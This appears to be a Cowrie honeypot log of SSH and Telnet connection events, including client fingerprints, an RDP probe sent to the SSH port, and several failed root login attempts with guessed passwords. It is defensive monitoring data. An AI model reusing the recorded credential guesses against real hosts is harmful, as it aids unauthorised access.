{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:12.993456Z","src_ip":"194.147.93.208","session":"527647de0b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:13.084578Z","src_ip":"194.147.93.208","session":"527647de0b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmod","message":"login attempt [root/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:13.479475Z","src_ip":"194.147.93.208","session":"527647de0b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.74536347389221,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:13.891245Z","src_ip":"152.42.224.71","session":"b4c591b91d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:14.574011Z","src_ip":"194.147.93.208","session":"527647de0b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":50064,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ac4140aec4","protocol":"ssh","message":"New connection: 109.237.96.109:50064 (159.203.135.109:22) [session: 05ac4140aec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:16.164365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:16.169858Z","src_ip":"109.237.96.109","session":"05ac4140aec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:16.264017Z","src_ip":"109.237.96.109","session":"05ac4140aec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha123","message":"login attempt [root/sasha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:16.546053Z","src_ip":"109.237.96.109","session":"05ac4140aec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:17.644599Z","src_ip":"109.237.96.109","session":"05ac4140aec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":58284,"dst_ip":"10.17.0.5","dst_port":22,"session":"862022d9b82f","protocol":"ssh","message":"New connection: 62.193.106.227:58284 (10.17.0.5:22) [session: 862022d9b82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:20.760375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:20.765372Z","src_ip":"62.193.106.227","session":"862022d9b82f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:20.913875Z","src_ip":"62.193.106.227","session":"862022d9b82f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46150,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dacd3b03574","protocol":"telnet","message":"New connection: 152.42.224.71:46150 (10.17.0.5:23) [session: 0dacd3b03574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:21.067840Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"edna","message":"login attempt [root/edna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:21.564686Z","src_ip":"62.193.106.227","session":"862022d9b82f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:22.713889Z","src_ip":"62.193.106.227","session":"862022d9b82f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.840089321136475,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:25.998887Z","src_ip":"152.42.224.71","session":"4e2e2b1f5947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":34708,"dst_ip":"10.17.0.5","dst_port":22,"session":"b94aa1b6e97a","protocol":"ssh","message":"New connection: 79.132.141.112:34708 (10.17.0.5:22) [session: b94aa1b6e97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:30.977600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:30.982694Z","src_ip":"79.132.141.112","session":"b94aa1b6e97a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:31.073448Z","src_ip":"79.132.141.112","session":"b94aa1b6e97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54344,"dst_ip":"10.17.0.5","dst_port":23,"session":"b84809c0a245","protocol":"telnet","message":"New connection: 152.42.224.71:54344 (10.17.0.5:23) [session: b84809c0a245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:31.168420Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"commodore64","message":"login attempt [root/commodore64] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:31.458037Z","src_ip":"79.132.141.112","session":"b94aa1b6e97a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:32.552219Z","src_ip":"79.132.141.112","session":"b94aa1b6e97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54711,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b1a860a0df7","protocol":"ssh","message":"New connection: 167.172.81.52:54711 (159.203.135.109:22) [session: 4b1a860a0df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:32.883527Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:32.888247Z","src_ip":"167.172.81.52","session":"4b1a860a0df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:32.891789Z","src_ip":"167.172.81.52","session":"4b1a860a0df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54346,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7277e47787","protocol":"telnet","message":"New connection: 152.42.224.71:54346 (10.17.0.5:23) [session: eb7277e47787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:33.485968Z"}
{"eventid":"cowrie.session.closed","duration":45.772133350372314,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:41.404126Z","src_ip":"152.42.224.71","session":"5a934b7c2428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":51750,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1fb769a24ca","protocol":"ssh","message":"New connection: 43.159.35.21:51750 (10.17.0.5:22) [session: c1fb769a24ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:42.765703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:42.770949Z","src_ip":"43.159.35.21","session":"c1fb769a24ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:43.017082Z","src_ip":"43.159.35.21","session":"c1fb769a24ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"omsagent","message":"login attempt [root/omsagent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:44.033501Z","src_ip":"43.159.35.21","session":"c1fb769a24ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:45.283070Z","src_ip":"43.159.35.21","session":"c1fb769a24ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":49872,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec84828efb1a","protocol":"ssh","message":"New connection: 43.153.54.120:49872 (10.17.0.5:22) [session: ec84828efb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:45.972050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:45.976859Z","src_ip":"43.153.54.120","session":"ec84828efb1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:46.045784Z","src_ip":"43.153.54.120","session":"ec84828efb1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"commodore64","message":"login attempt [root/commodore64] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:46.376276Z","src_ip":"43.153.54.120","session":"ec84828efb1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:47.447056Z","src_ip":"43.153.54.120","session":"ec84828efb1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51160,"dst_ip":"10.17.0.5","dst_port":23,"session":"08956ebb1221","protocol":"telnet","message":"New connection: 152.42.224.71:51160 (10.17.0.5:23) [session: 08956ebb1221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:51.448606Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39546,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc8218a29c4","protocol":"telnet","message":"New connection: 152.42.224.71:39546 (10.17.0.5:23) [session: 5bc8218a29c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:01.212171Z"}
{"eventid":"cowrie.session.closed","duration":43.510706186294556,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:04.578406Z","src_ip":"152.42.224.71","session":"0dacd3b03574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.13396096229553,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:07.619808Z","src_ip":"152.42.224.71","session":"eb7277e47787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":33966,"dst_ip":"10.17.0.5","dst_port":22,"session":"03ab66f81809","protocol":"ssh","message":"New connection: 194.147.93.208:33966 (10.17.0.5:22) [session: 03ab66f81809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:11.081208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:11.085374Z","src_ip":"194.147.93.208","session":"03ab66f81809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:11.179582Z","src_ip":"194.147.93.208","session":"03ab66f81809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galeon","message":"login attempt [root/galeon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:11.573900Z","src_ip":"194.147.93.208","session":"03ab66f81809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:12.667711Z","src_ip":"194.147.93.208","session":"03ab66f81809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.293662309646606,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:16.742146Z","src_ip":"152.42.224.71","session":"08956ebb1221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.15999865531921,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:17.266297Z","src_ip":"152.42.224.71","session":"7d2dd4925778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57540,"dst_ip":"10.17.0.5","dst_port":23,"session":"298aa370af36","protocol":"telnet","message":"New connection: 152.42.224.71:57540 (10.17.0.5:23) [session: 298aa370af36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:19.932845Z"}
